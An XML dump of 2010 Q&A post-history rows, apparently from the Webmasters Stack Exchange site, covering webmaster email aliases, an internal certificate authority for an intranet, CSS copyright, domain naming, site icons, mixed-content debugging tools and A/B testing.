  <row Id="3868" PostHistoryTypeId="5" PostId="2032" RevisionGUID="2dc923c8-cba6-491b-a7d3-302dbd08a1cb" CreationDate="2010-08-09T05:16:37.793" UserId="26" Comment="fixed grammar, expansions of acronyms" Text="Every [**RIPE LIR** (Réseaux IP Européens Local Internet Registry)][1] must have an `abuse@` account and the `webmaster@`, `postmaster@` - (and one more) -- addresses are used by most (all?) SSL Providers.&#xD;&#xA;&#xD;&#xA;So if you don't want to be an LIR and don't use certificates, you are free to set your mail addresses any way you want.&#xD;&#xA;&#xD;&#xA;[1]: http://www.ripe.net/info/faq/rs/ipv4.html" />
  <row Id="3869" PostHistoryTypeId="2" PostId="2033" RevisionGUID="ce6ce2b5-2ea2-4049-b45c-e698940a02c6" CreationDate="2010-08-09T05:17:49.630" UserId="138" Text="If you plan on purchasing a domain-validated SSL, `admin@` is generally a good one to have, as the domain-validated certificates use a small list of hard-coded email addresses, and `admin@` is generally one of them." />
  <row Id="3870" PostHistoryTypeId="2" PostId="2034" RevisionGUID="c835bfdb-24fe-494a-9e91-a03ff5c66820" CreationDate="2010-08-09T09:00:09.420" UserId="55" Text="There's no reason to create them all as individual e-mail accounts. You can just set up forwarders that lead to a generic `site.admin@` account and set up a filter for that in your mail client to keep the noise isolated.&#xD;&#xA;&#xD;&#xA;You'll want them, because:&#xD;&#xA;&#xD;&#xA; - `webmaster@` is where good natured people do things like report broken links, it happens more than you'd think!&#xD;&#xA; - `abuse@` is nice to have, it sometimes keeps people from going directly to your host / data center / bandwidth provider in the event that someone found a way to use your server to send SPAM.&#xD;&#xA; - `postmaster@` is handy to check, and make sure root's mail is also sent there, at the least it will show you if your mail server is configured incorrectly, it will also catch bounces that let you know you have a spammer.&#xD;&#xA;&#xD;&#xA;I usually check my 'catch all' once a week and clean it out. It only takes a few minutes. Once in a while you find a real gem, which is something like &quot;_Your site helped me, I just wanted to say thanks for the resource!_&quot; .. which always makes your day :)&#xD;&#xA;&#xD;&#xA;This, of course in addition to the convenience of automatically generated SSL certificates." />
  <row Id="3871" PostHistoryTypeId="2" PostId="2035" RevisionGUID="53f95ea0-ccad-4f97-8ba9-78434000a044" CreationDate="2010-08-09T09:13:48.007" UserId="55" Text="I'm managing what has become a very large intranet (over 100 different hosts / services) and will be stepping down from my role in the near future. I want to make things easy for the next &lt;strike&gt;victim&lt;/strike&gt; person who takes my place.&#xD;&#xA;&#xD;&#xA;All hosts are secured via SSL. This includes various portals, wikis, data entry systems, HR systems and other sensitive things. We're using self signed certificates which worked o.k. in the past, but are now problematic because:&#xD;&#xA;&#xD;&#xA; - Browsers make it harder for users to understand exactly what is going on when a self signed certificate is encountered, much less accept them.&#xD;&#xA;&#xD;&#xA; - Putting up a new host means 100 phone calls asking what &quot;Add an exception&quot; means&#xD;&#xA;&#xD;&#xA;What we were doing is just importing the self signed certs when we set up a new workstation. This was fine when we only had a dozen to deal with, but now its just overwhelming.&#xD;&#xA;&#xD;&#xA;Our I.T. Department has classified this as `ya all's problem`, all we get from them is support for switch and router configurations. Beyond the user having connectivity, everything else is up to the intranet administrators.&#xD;&#xA;&#xD;&#xA;We have a mix of Ubuntu and Windows workstations. We'd like to set up our own self signed CA root, which can sign certificates for each host that we deploy on the intranet. Client browsers would of course be told to trust our CA.&#xD;&#xA;&#xD;&#xA;My question is, would this be dangerous and would we be better off going with intermediate certificates from someone like Verisign? Either way, I still have to import the root for the intermediate CA, so I really don't see what the difference is?&#xD;&#xA;&#xD;&#xA;Other than charging us money, what would Verisign be doing that we could not?" />
  <row Id="3872" PostHistoryTypeId="1" PostId="2035" RevisionGUID="53f95ea0-ccad-4f97-8ba9-78434000a044" CreationDate="2010-08-09T09:13:48.007" UserId="55" Text="CA For A Large Intranet" />
  <row Id="3873" PostHistoryTypeId="3" PostId="2035" RevisionGUID="53f95ea0-ccad-4f97-8ba9-78434000a044" CreationDate="2010-08-09T09:13:48.007" UserId="55" Text="&lt;ssl&gt;&lt;intranet&gt;" />
  <row Id="3874" PostHistoryTypeId="2" PostId="2036" RevisionGUID="b3e771ab-ec09-4aa4-94cb-dd03552a9c25" CreationDate="2010-08-09T10:37:22.593" UserId="300" Text="I know CSS on a website is protected under the website's copyright since it is considered part of the overall design. I also know that images used inCSS are copyrightable.&#xD;&#xA;&#xD;&#xA;How about when CSS is used to create images?&#xD;&#xA;&#xD;&#xA;There is a CSS3 icon set that has a $25 license fee. Another developer claims those images to be copyrighted and that it is illegal to use any of the icons unless you pay the fee. I say you cannot copyright a chunk of code and if I recreate an arrow or disc icon in my CSS (whether I copy his code or write my own) he has no recourse.&#xD;&#xA;&#xD;&#xA;Can CSS, by itself, be copyrighted?" />
  <row Id="3875" PostHistoryTypeId="1" PostId="2036" RevisionGUID="b3e771ab-ec09-4aa4-94cb-dd03552a9c25" CreationDate="2010-08-09T10:37:22.593" UserId="300" Text="Can CSS be copyrighted?" />
  <row Id="3876" PostHistoryTypeId="3" PostId="2036" RevisionGUID="b3e771ab-ec09-4aa4-94cb-dd03552a9c25" CreationDate="2010-08-09T10:37:22.593" UserId="300" Text="&lt;css&gt;&lt;copyright&gt;&lt;css3&gt;" />
  <row Id="3877" PostHistoryTypeId="5" PostId="2035" RevisionGUID="44cb9ce4-7cea-467c-8caa-b80cc505c776" CreationDate="2010-08-09T10:38:58.847" UserId="55" Comment="added 74 characters in body" Text="I'm managing what has become a very large intranet (over 100 different hosts / services) and will be stepping down from my role in the near future. I want to make things easy for the next &lt;strike&gt;victim&lt;/strike&gt; person who takes my place.&#xD;&#xA;&#xD;&#xA;All hosts are secured via SSL. This includes various portals, wikis, data entry systems, HR systems and other sensitive things. We're using self signed certificates which worked o.k. in the past, but are now problematic because:&#xD;&#xA;&#xD;&#xA; - Browsers make it harder for users to understand exactly what is going on when a self signed certificate is encountered, much less accept them.&#xD;&#xA;&#xD;&#xA; - Putting up a new host means 100 phone calls asking what &quot;Add an exception&quot; means&#xD;&#xA;&#xD;&#xA;What we were doing is just importing the self signed certs when we set up a new workstation. This was fine when we only had a dozen to deal with, but now its just overwhelming.&#xD;&#xA;&#xD;&#xA;Our I.T. Department has classified this as `ya all's problem`, all we get from them is support for switch and router configurations. Beyond the user having connectivity, everything else is up to the intranet administrators.&#xD;&#xA;&#xD;&#xA;We have a mix of Ubuntu and Windows workstations. We'd like to set up our own self signed CA root, which can sign certificates for each host that we deploy on the intranet. Client browsers would of course be told to trust our CA.&#xD;&#xA;&#xD;&#xA;My question is, would this be dangerous and would we be better off going with intermediate certificates from someone like Verisign? Either way, I still have to import the root for the intermediate CA, so I really don't see what the difference is?&#xD;&#xA;&#xD;&#xA;Other than charging us money, what would Verisign be doing that we could not, beyond protecting the root CA cert so it can't be used to make forgeries?" />
  <row Id="3878" PostHistoryTypeId="2" PostId="2037" RevisionGUID="4cdf15a4-85cc-43ab-bcdc-de058484a584" CreationDate="2010-08-09T11:13:46.033" UserId="1377" Text="I want to grab a new domain name for a site I look after but many of the best word combinations are taken.&#xD;&#xA;&#xD;&#xA;Is there any legal issue with using the word official in a domain name?&#xD;&#xA;&#xD;&#xA;For example: http://www.OfficialDentistDirectory.com&#xD;&#xA;or http://www.OfficialWallpaperMerchants.com&#xD;&#xA;&#xD;&#xA;" />
  <row Id="3879" PostHistoryTypeId="1" PostId="2037" RevisionGUID="4cdf15a4-85cc-43ab-bcdc-de058484a584" CreationDate="2010-08-09T11:13:46.033" UserId="1377" Text="Is there any issue with using the word Official in a domain name?" />
  <row Id="3880" PostHistoryTypeId="3" PostId="2037" RevisionGUID="4cdf15a4-85cc-43ab-bcdc-de058484a584" CreationDate="2010-08-09T11:13:46.033" UserId="1377" Text="&lt;domains&gt;&lt;legal&gt;" />
  <row Id="3881" PostHistoryTypeId="5" PostId="2010" RevisionGUID="564f6495-b1fa-4da7-a1ac-aa079df60e8b" CreationDate="2010-08-09T11:18:30.440" UserId="26" Comment="fixed(?) odd formatting bug" Text="I know of 2 basic kinds of default web icons for websites:&#xD;&#xA;&#xD;&#xA;- [**Favicon**][1]: place an `.ico` formatted file at the root of your site named `favicon.ico` and most desktop browsers will find it and display it in various contexts (bookmarks, tabs). Can also be added in code, which allows you to specify other names and other graphics types to the file, though there are [type and size limitations for browsers][2]:&#xD;&#xA;&#xD;&#xA;&lt;!-- --&gt;&#xD;&#xA;&#xD;&#xA;    &lt;link rel=&quot;shortcut icon&quot; href=&quot;/favicon.ico&quot; /&gt;&#xD;&#xA;    &lt;link rel=&quot;icon&quot; href=&quot;/favicon.ico&quot; /&gt;&#xD;&#xA;&#xD;&#xA;- [**Web Clip Icon**][3]: place a `png` formatted file called either `apple-touch-icon.png` or `apple-touch-icon-precomposed.png` at the root of your site and iPhone OS/iOS versions of Safari will pick those up and store them when the site is added to the Home Screen. Can also be added with code like:&#xD;&#xA;&#xD;&#xA;&lt;!-- --&gt;&#xD;&#xA;&#xD;&#xA;    &lt;link rel=&quot;apple-touch-icon&quot; href=&quot;/custom_icon.png&quot; /&gt;&#xD;&#xA;&#xD;&#xA;**Question**: Are there any other default icon graphics for a website a webmaster can include?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Favicon&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Favicon#Browser_support&#xD;&#xA;  [3]: http://developer.apple.com/safari/library/documentation/appleapplications/reference/safariwebcontent/configuringwebapplications/configuringwebapplications.html&#xD;&#xA;" />
  <row Id="3882" PostHistoryTypeId="2" PostId="2038" RevisionGUID="18ebc651-846d-4574-9538-3c2879a33c0b" CreationDate="2010-08-09T11:36:49.347" UserId="288" Text="The only problem I can see is that some people might think it is the &quot;official&quot; site (e.g the site run by the profession's governing body), so they might think that your site has more authority than it actually has. In the extreme case that could be construed as misleading your target audience into thinking the site was something it isn't.&#xD;&#xA;&#xD;&#xA;I suppose it all depends on what the domain name actually is." />
  <row Id="3883" PostHistoryTypeId="2" PostId="2039" RevisionGUID="2f6cf624-e5f7-4bf6-812e-025e66b81216" CreationDate="2010-08-09T12:12:49.070" UserId="55" Text="When it comes to legal questions you should ***always ask a lawyer***.&#xD;&#xA;&#xD;&#xA;That said, I think you're fine to do what you describe as long as you do not use the name of any professional, professional association or regulatory board in the domain. Additionally, you should let visitors know that you are not endorsed by the same and refrain from using any of their copyrighted / trade marked logos or other media.&#xD;&#xA;&#xD;&#xA;Its not just copyright or trademark violations that you need to worry about. Also consider a user that had a bad experience with a dentist that they found using your web site. You would be _amazed_ how easy it is to find a lawyer to sue someone for just about anything.&#xD;&#xA;&#xD;&#xA;We get back to talking to a lawyer, who could help you write a suitable disclaimer and make sure that you stay out of trouble. " />
  <row Id="3884" PostHistoryTypeId="2" PostId="2040" RevisionGUID="8ee73c33-9fea-4d9a-ba2a-bf51874a51cb" CreationDate="2010-08-09T12:22:59.363" UserId="221" Text="As with all legal questions **ask a lawyer**&#xD;&#xA;&#xD;&#xA;However, as far as I understand the issue (which may not be very far) *any* creative work is subject to copyright. This would include such items as CSS styles sheets if your are copying them verbatim (even if modifying them somewhat or replacing parts of them).&#xD;&#xA;&#xD;&#xA;CSS is in this aspect no different than source code for example.&#xD;&#xA;&#xD;&#xA;The *effect* of that CSS is however not subject to copyright, so if you reproduce the same effect without relying on the actual code then you should be fine." />
  <row Id="3885" PostHistoryTypeId="2" PostId="2041" RevisionGUID="53318fec-20be-40ca-a8ba-8cde8b9fe4d8" CreationDate="2010-08-09T13:08:19.413" UserId="288" Text="&gt; I say you cannot copyright a chunk of code&#xD;&#xA;&#xD;&#xA;All code (and this includes CSS) is copyrighted as it's a creative work, and all creative works are automatically copyright.&#xD;&#xA;&#xD;&#xA;Even these words I'm typing now are copyright, but by using this site I'm agreeing to [these terms](http://creativecommons.org/licenses/by-sa/2.5/) by which I give up some of my rights to them. However, they are still my words.&#xD;&#xA;&#xD;&#xA;If you copy someone else's code you are breaking copyright. However, if you write your own you're not - though by copying the &quot;look and feel&quot; you might encounter problems if you're intent was to mimic and [&quot;pass off&quot;](http://en.wikipedia.org/wiki/Passing_off) (but I'm not a lawyer)." />
  <row Id="3886" PostHistoryTypeId="2" PostId="2042" RevisionGUID="cf61f52c-c851-4411-9803-95d349b3c1ce" CreationDate="2010-08-09T15:15:40.860" UserId="136" Text="I'm looking into implementing the Facebook like-button on my site. Therefore i'm looking for some good examples of the use of the like-button.&#xD;&#xA;&#xD;&#xA;I'm looking at the placement of the like-button and the use of the Open Graph meta-properties.&#xD;&#xA;&#xD;&#xA;Please explain why you like a particular implementation" />
  <row Id="3887" PostHistoryTypeId="1" PostId="2042" RevisionGUID="cf61f52c-c851-4411-9803-95d349b3c1ce" CreationDate="2010-08-09T15:15:40.860" UserId="136" Text="What is the best implementation of the Facebook like-button you've seen?" />
  <row Id="3888" PostHistoryTypeId="3" PostId="2042" RevisionGUID="cf61f52c-c851-4411-9803-95d349b3c1ce" CreationDate="2010-08-09T15:15:40.860" UserId="136" Text="&lt;facebook&gt;" />
  <row Id="3889" PostHistoryTypeId="2" PostId="2043" RevisionGUID="841eab25-d7bc-4cdf-a967-2a115674e8a3" CreationDate="2010-08-09T15:54:46.540" UserId="536" Text="As many know, if you serve a page over https and the content loads resources (images, stylesheets, js, SWF objects, etc) over http, older versions of Internet Explorer will show the user a warning saying &quot;This page contains both secure and non-secure items&quot;. This is discomforting to many non-technical users.&#xD;&#xA;&#xD;&#xA;Usually, I can look at the HTML source and identify which item(s) are triggering this error. Sometimes a Flash object will load something else or some embedded javascript will put a new object in the DOM and trigger this.&#xD;&#xA;&#xD;&#xA;What tools are good for quickly tracking down the source of the warning?" />
  <row Id="3890" PostHistoryTypeId="1" PostId="2043" RevisionGUID="841eab25-d7bc-4cdf-a967-2a115674e8a3" CreationDate="2010-08-09T15:54:46.540" UserId="536" Text="Identify &quot;non-secure&quot; content IE warns about" />
  <row Id="3891" PostHistoryTypeId="3" PostId="2043" RevisionGUID="841eab25-d7bc-4cdf-a967-2a115674e8a3" CreationDate="2010-08-09T15:54:46.540" UserId="536" Text="&lt;security&gt;&lt;ssl&gt;&lt;internet-explorer&gt;" />
  <row Id="3892" PostHistoryTypeId="2" PostId="2044" RevisionGUID="7e04bf1d-406b-415b-b9b7-f2045aea295e" CreationDate="2010-08-09T16:04:28.297" UserId="1386" Text="Fiddler is what I normally use. Its an http sniffer and will show you all the requests that make up your page. On a secure page they should be shown with a padlock to signify the use of SSL and be listed with the protocol HTTPS. Anything that isn't like this is being served in an insecure manner.&#xD;&#xA;&#xD;&#xA;http://www.fiddler2.com/fiddler2/&#xD;&#xA;&#xD;&#xA;Matt" />
  <row Id="3893" PostHistoryTypeId="16" PostId="2042" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-08-09T16:05:45.427" UserId="55" />
  <row Id="3894" PostHistoryTypeId="2" PostId="2045" RevisionGUID="e9105ad7-0756-4fe5-8132-d4af8f5ae90e" CreationDate="2010-08-09T16:10:34.893" UserId="576" Text="You can use a web debugging tool like [Fiddler][1] to track which element isn't going over HTTPS or check the server logs to see which one isn't using port 443.&#xD;&#xA;&#xD;&#xA;If the warning persists, you may have to inspect your JavaScript &amp; CSS code for references to any files, as [explained here][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.fiddler2.com/Fiddler2/version.asp&#xD;&#xA;  [2]: http://weblogs.asp.net/rchartier/archive/2008/03/12/ie7-this-page-contains-both-secure-and-nonsecure-items.aspx" />
  <row Id="3895" PostHistoryTypeId="2" PostId="2046" RevisionGUID="e3818c00-a90e-44f0-a369-ce7506e07901" CreationDate="2010-08-09T17:06:47.337" UserId="233" Text="##Joomla&#xD;&#xA;&#xD;&#xA;Strengths:&#xD;&#xA;&#xD;&#xA;* True content management system, unlike Wordpress.&#xD;&#xA;* Admin interface is pretty easy to use, once you have the hand of it.&#xD;&#xA;* Many many themes, components, plugins and modules.&#xD;&#xA;* Making your own templates is incredibly easy.&#xD;&#xA;* The Joomla framework is rock solid, although it takes a little effort to get your head round when you are developing extensions.&#xD;&#xA;* Not as popular as Wordpress so security flaws are rarer and less exploited. Vulnerabilities are patched very quickly though.&#xD;&#xA;&#xD;&#xA;Weaknesses:&#xD;&#xA;&#xD;&#xA;* Often the better themes and components have restrictive licenses.&#xD;&#xA;* No custom user permissions management yet (it's coming in 1.6). But it has 8 fixed permission levels (User, Editor, Admin etc).&#xD;&#xA;* SEO isn't quite as good out of the box but there are components to handle that.&#xD;&#xA;* Generally development is slow, apart from security/bug fixes. Version 1.6 has been in development for at least 2 years now!&#xD;&#xA;" />
  <row Id="3896" PostHistoryTypeId="16" PostId="2046" RevisionGUID="e3818c00-a90e-44f0-a369-ce7506e07901" CreationDate="2010-08-09T17:06:47.337" UserId="-1" />
  <row Id="3897" PostHistoryTypeId="2" PostId="2047" RevisionGUID="950fa34a-f305-4eb0-8e80-67c7b25f9d97" CreationDate="2010-08-09T18:48:21.417" UserId="61" Text="I have mine set up so that anythingIwanttotype@example.com gets sent to me. This takes care of possibly missing anything. &#xD;&#xA;&#xD;&#xA;So far I have not gotten much spam, however my sites are not to large, so that could change. &#xD;&#xA;&#xD;&#xA;Then any address I want to send mail from I set up. " />
  <row Id="3898" PostHistoryTypeId="2" PostId="2048" RevisionGUID="12c771af-1ac4-43ad-ac9b-20518e5dc5a6" CreationDate="2010-08-09T19:04:41.257" UserId="210" Text="You could open the page in another browser and check out that browsers debugging tools. Most other browsers offer some kind of list of the files that were included, sometimes including images. Of course, this won't work if you are including a bunch of other stuff that isn't included when only in IE." />
  <row Id="3899" PostHistoryTypeId="2" PostId="2049" RevisionGUID="5ea20fd5-7a8e-4dec-be39-025bc602a3d1" CreationDate="2010-08-09T19:25:51.550" UserId="1348" Text="When I'm trying to find all the files that are requested by a page, FireBug is my #1 choice. But if you need more details, I recommend another Firefox extension called &lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/3829/&quot;&gt;Live HTTP Headers&lt;/a&gt;. In the option of that Add-on you can filter the type of files you want to &quot;track&quot; so you can configure it to track http requests in an https environment.&#xD;&#xA;&#xD;&#xA;Just make sure that you don't forget to close the add-on when you are done because if you keep it open, it'll take all of your system resources." />
  <row Id="3900" PostHistoryTypeId="2" PostId="2050" RevisionGUID="e2ae9914-0c04-4ab8-8ac0-8fa58747c7f1" CreationDate="2010-08-09T21:53:40.217" UserId="1111" Text="In short words: I see no reason why you should use a commercial cert. A self signed is - in this case - enough (IMHO). I just use Verisign (or cheaper GoDaddy) certs for E-Commerce because the costumer can be sure, that the identity of the owner was checked.&#xD;&#xA;&#xD;&#xA;To set up you're own CA (which in your case should content a root cert and many &quot;sub&quot;-certs), programs such TinyCA can help you to take the overview.&#xD;&#xA;&#xD;&#xA;For the Ubuntu desktops you can use the [UCK][1] to set up you're own install cd with the cert within. For Windows i don't know the &quot;best practice&quot;, but i think programs like [OPSI][2] (Open Source) can help (i've never tried this).&#xD;&#xA;&#xD;&#xA;I hope i understood you're question right and this answer would help. Else please don't slap me. :-)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://uck.sourceforge.net/ &quot;Ubuntu Costumation Kit&quot;&#xD;&#xA;  [2]: http://opsi.org/ &quot;open pc server integration&quot;" />
  <row Id="3901" PostHistoryTypeId="2" PostId="2051" RevisionGUID="a32d662d-e3f4-46b1-9929-352e2a0500dc" CreationDate="2010-08-09T21:59:05.010" UserId="105" Text="I'm using the [Page Speed Firebug plug-in][1] to check my sites.&#xD;&#xA;&#xD;&#xA;But I don't know how to fix the &quot;Leverage browser caching&quot; error, since I don't know you specify a cache lifetime to the browser in images and css files.&#xD;&#xA;&#xD;&#xA;![alt text][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/speed/page-speed/&#xD;&#xA;  [2]: http://img525.imageshack.us/img525/8022/capturego.png" />
  <row Id="3902" PostHistoryTypeId="1" PostId="2051" RevisionGUID="a32d662d-e3f4-46b1-9929-352e2a0500dc" CreationDate="2010-08-09T21:59:05.010" UserId="105" Text="How to fix &quot;Leverage browser caching&quot; error from Page Speed plugin" />
  <row Id="3903" PostHistoryTypeId="3" PostId="2051" RevisionGUID="a32d662d-e3f4-46b1-9929-352e2a0500dc" CreationDate="2010-08-09T21:59:05.010" UserId="105" Text="&lt;optimization&gt;&lt;cache&gt;&lt;page-speed&gt;" />
  <row Id="3904" PostHistoryTypeId="2" PostId="2052" RevisionGUID="302f3f91-a348-46dd-b2ab-31fdd33c6ca9" CreationDate="2010-08-09T22:06:17.917" UserId="1074" Text="A client is inquiring about blind A/B split testing for an online application focused mostly on usability of the design and application workflow.  Someone in the client's office read an article about how all the large agencies do A/B testing of concepts prior to going live....so it must be important for them to do too!&#xD;&#xA;&#xD;&#xA;Did the results justify the added expense and efforts?" />
  <row Id="3905" PostHistoryTypeId="1" PostId="2052" RevisionGUID="302f3f91-a348-46dd-b2ab-31fdd33c6ca9" CreationDate="2010-08-09T22:06:17.917" UserId="1074" Text="Is A/B testing worth the added expense and time?" />
  <row Id="3906" PostHistoryTypeId="3" PostId="2052" RevisionGUID="302f3f91-a348-46dd-b2ab-31fdd33c6ca9" CreationDate="2010-08-09T22:06:17.917" UserId="1074" Text="&lt;web-development&gt;&lt;a-b-testing&gt;" />
  <row Id="3907" PostHistoryTypeId="2" PostId="2053" RevisionGUID="07eda7e0-30b6-490e-9c44-01bc535f4ad1" CreationDate="2010-08-09T22:06:58.727" UserId="1111" Text="First of all: Host the button on you're own server that Facebook can't track all your visitors.&#xD;&#xA;&#xD;&#xA;The placement really depends on what type of site (blog, etc.) you wanna use it. So i think you should provide more information (maybe a link, if it is possible).&#xD;&#xA;&#xD;&#xA;My favorite placement is on the left or right side of the browser window on which the buttons scrolls with you're scrolling. So the button get more attention than a static place. Maybe you can hide it with some arrow which - on click - displays it." />
  <row Id="3908" PostHistoryTypeId="16" PostId="2053" RevisionGUID="07eda7e0-30b6-490e-9c44-01bc535f4ad1" CreationDate="2010-08-09T22:06:58.727" UserId="-1" />
  <row Id="3909" PostHistoryTypeId="2" PostId="2054" RevisionGUID="e88df626-59b1-4bdc-acd8-6720da335f6d" CreationDate="2010-08-09T22:42:43.347" UserId="1245" Text="Looks like you're using IIS, so you probably want to start with [this TechNet document][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://technet.microsoft.com/en-us/library/cc770661%28WS.10%29.aspx" />
  <row Id="3910" PostHistoryTypeId="5" PostId="2052" RevisionGUID="e1c2ba14-992b-4cdc-abb2-d240b4865dbb" CreationDate="2010-08-09T22:46:09.333" UserId="1074" Comment="added 372 characters in body" Text="A client is inquiring about blind A/B split testing for an online application focused mostly on usability of the design and application workflow.  Someone in the client's office read an article about how all the large agencies do A/B testing of concepts prior to going live....so it must be important for them to do too!&#xD;&#xA;&#xD;&#xA;--edit--&#xD;&#xA;About the application:  It's a public-facing application, but users will be paid members, so it's not for free, open consumption.  Users will be direct clients, who in turn will resell the product to their clients.  Traffic at peak would likely be +-1000 users; some of whom would be daily users while a smaller portion might just be 1X/week.&#xD;&#xA;--edit--&#xD;&#xA;&#xD;&#xA;Did the results justify the added expense and efforts?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="3911" PostHistoryTypeId="2" PostId="2055" RevisionGUID="4aa76d36-0976-4ead-990a-090fa5d68340" CreationDate="2010-08-09T22:46:11.393" UserId="221" Text="A/B testing has its place but it requires some things to hold. Most importantly you need a clear success metric. I.e. it must be straightforward to judge which performed better A or B. Primarily this holds if your site is oriented at a specific commercial goal (e.g. get people to place purchase orders, get people to click on ad links etc.).&#xD;&#xA;&#xD;&#xA;You also need clear alternatives to test and a large enough userbase to be able to get statistically valid results for each A/B pairing. The number of pairings and the duration of the testing is a factor in this as well.&#xD;&#xA;&#xD;&#xA;If you are more interested in improving overall usability you would be better off doing a cooperative usability evaluations (sitting down with test users and observing them go through a task list, noting issues). It is cheaper and produces very useful results.&#xD;&#xA;&#xD;&#xA;Ultimately it is all about what you are trying to accomplish." />
  <row Id="3912" PostHistoryTypeId="2" PostId="2056" RevisionGUID="23bb55db-cbee-4399-b9f3-1a7e1432de65" CreationDate="2010-08-09T22:48:46.333" UserId="1245" Text="Are you doing anything with Ajax or otherwise potentially involving dynamic iframes?  There's an IE bug which will trigger the non-secure content warning if you have an iframe with no source set - so even if there isn't any content on the page from a non-secure domain you get the warning.  Try [setting the `src` to `javascript:false`][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/541837/this-page-contains-both-secure-and-nonsecure-items-and-iframes" />
  <row Id="3913" PostHistoryTypeId="2" PostId="2057" RevisionGUID="7a3299b5-3d02-455a-8db3-2a0785336a94" CreationDate="2010-08-09T22:56:50.937" UserId="82" Text="[Project Wonderful][1] is something used on [Schlock Mercenary][2] and the I remember the owner, Howard Tayler, talking about similar control issues.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.projectwonderful.com/&#xD;&#xA;  [2]: http://schlockmercenary.com/" />
  <row Id="3914" PostHistoryTypeId="16" PostId="2057" RevisionGUID="7a3299b5-3d02-455a-8db3-2a0785336a94" CreationDate="2010-08-09T22:56:50.937" UserId="-1" />
  <row Id="3915" PostHistoryTypeId="2" PostId="2058" RevisionGUID="05bdb51f-bd9c-4de4-93fc-aa174beb0db2" CreationDate="2010-08-09T23:13:32.550" UserId="353" Text="I hope I'm understanding your situation correctly. If I'm not, leave a comment and I'll clean it up a bit.&#xD;&#xA;&#xD;&#xA;In your situation, I'm not sure how well A/B testing will work - I'm concerned with being able to get usable results. There are two problems to overcome - getting statistically valid results and then understanding those results.&#xD;&#xA;&#xD;&#xA;The first problem that you need to see is that the ~1000 people who are using your service aren't your entire user base and you can't be sure that they are representative of your users. Just because these 1000 users show certain tendencies in A/B testing doesn't mean that other groups of users will also have those tendencies. And I think that also clouds the statistic validity of the results because you have improper samples.&#xD;&#xA;&#xD;&#xA;You also have two categories of people who use your particular service, and who knows how many who use the resold systems. In your system, you have the frequent and the infrequent users. But how about in the other deployments? If your changes would affect them as well, you might be impacting their ability to achieve their goals with absolutely no data on their user experience in A or B.&#xD;&#xA;&#xD;&#xA;And understanding any results you do get will be difficult, especially if you deploy your A/B testing across multiple deployments of your service. If you are gathering data from several distinct populations, you might see that you achieve your desired results with A in some and B in others - you then have to decide if this is indeed accurate and then decide what to do with it.&#xD;&#xA;&#xD;&#xA;Honestly, in this case, I would recommend surveys. Find out about the background of you users - age range, gender, computer experience, profession - and how they use the software. Then, find out what features they like or don't like, what features are easy to use or not, and so on. This survey should go out to as many people as possible - both people who use your deployment and people who use other deployments." />
  <row Id="3916" PostHistoryTypeId="16" PostId="216" RevisionGUID="cdef758b-75d8-4fe4-9ee5-fbb3c3c13537" CreationDate="2010-08-10T00:32:02.033" UserId="180" />
  <row Id="3917" PostHistoryTypeId="5" PostId="2053" RevisionGUID="cba3c36b-a0f8-48c8-b0ff-558398e149fd" CreationDate="2010-08-10T00:53:52.323" UserId="60" Comment="Corrected spelling, fixed grammar." Text="First of all: Host the button on your own server that Facebook can't track all your visitors.&#xD;&#xA;&#xD;&#xA;The placement really depends on what type of site (blog, etc.) you want to use it on. So I think you should provide more information (maybe a link, if it is possible).&#xD;&#xA;&#xD;&#xA;My favorite placement is on the left or right side of the browser window on which the buttons scrolls with you're scrolling. So the button get more attention than a static place. Maybe you can hide it with some arrow which - on click - displays it." />
  <row Id="3918" PostHistoryTypeId="5" PostId="2050" RevisionGUID="ca088504-0ac0-461e-8aa5-64d36ccdd500" CreationDate="2010-08-10T02:02:47.493" UserId="138" Comment="deleted 2 characters in body" Text="In short words: I see no reason why you should use a commercial cert. A self signed is - in this case - enough (IMHO). I just use Verisign (or cheaper GoDaddy) certs for E-Commerce because the costumer can be sure, that the identity of the owner was checked.&#xD;&#xA;&#xD;&#xA;To set up your own CA (which in your case should contain a root cert and many &quot;sub&quot;-certs), programs such TinyCA can help you to take the overview.&#xD;&#xA;&#xD;&#xA;For the Ubuntu desktops you can use the [UCK][1] to set up you're own install cd with the cert within. For Windows i don't know the &quot;best practice&quot;, but i think programs like [OPSI][2] (Open Source) can help (i've never tried this).&#xD;&#xA;&#xD;&#xA;I hope i understood you're question right and this answer would help. Else please don't slap me. :-)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://uck.sourceforge.net/ &quot;Ubuntu Costumation Kit&quot;&#xD;&#xA;  [2]: http://opsi.org/ &quot;open pc server integration&quot;" />
  <row Id="3919" PostHistoryTypeId="2" PostId="2059" RevisionGUID="84a06d56-6b11-46e1-bff8-b0b17c55fd6a" CreationDate="2010-08-10T02:04:17.413" UserId="138" Text="Additional to fwa's answer - if you're in a Windows/Active Directory environment, you can set up an internal CA that's automatically pushed into the root certificates store of all the machines on your domain. This functionality it actually built into windows.&#xD;&#xA;&#xD;&#xA;You just need to install the Certification Authority service on a machine and then update  your GPO to reflect the new CA. How to do this should be asked on [Server Fault][1], however you're going to need the input of your IT guys to get this done.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://serverfault.com/" />
  <row Id="3920" PostHistoryTypeId="2" PostId="2060" RevisionGUID="ff5896c2-f3b1-4596-9c4f-b172e9d4ece4" CreationDate="2010-08-10T02:13:30.290" UserId="138" Text="A similar issue is with calling yourself an &quot;institute&quot;. I used to work for an &quot;institute&quot; - which was really just a company selling educational products that had a very clever MD who called the company an &quot;institute&quot; instead.&#xD;&#xA;&#xD;&#xA;In Australia there's nothing illegal in calling yourself an &quot;institute&quot; (immoral, perhaps) but your milage may vary in your local country." />
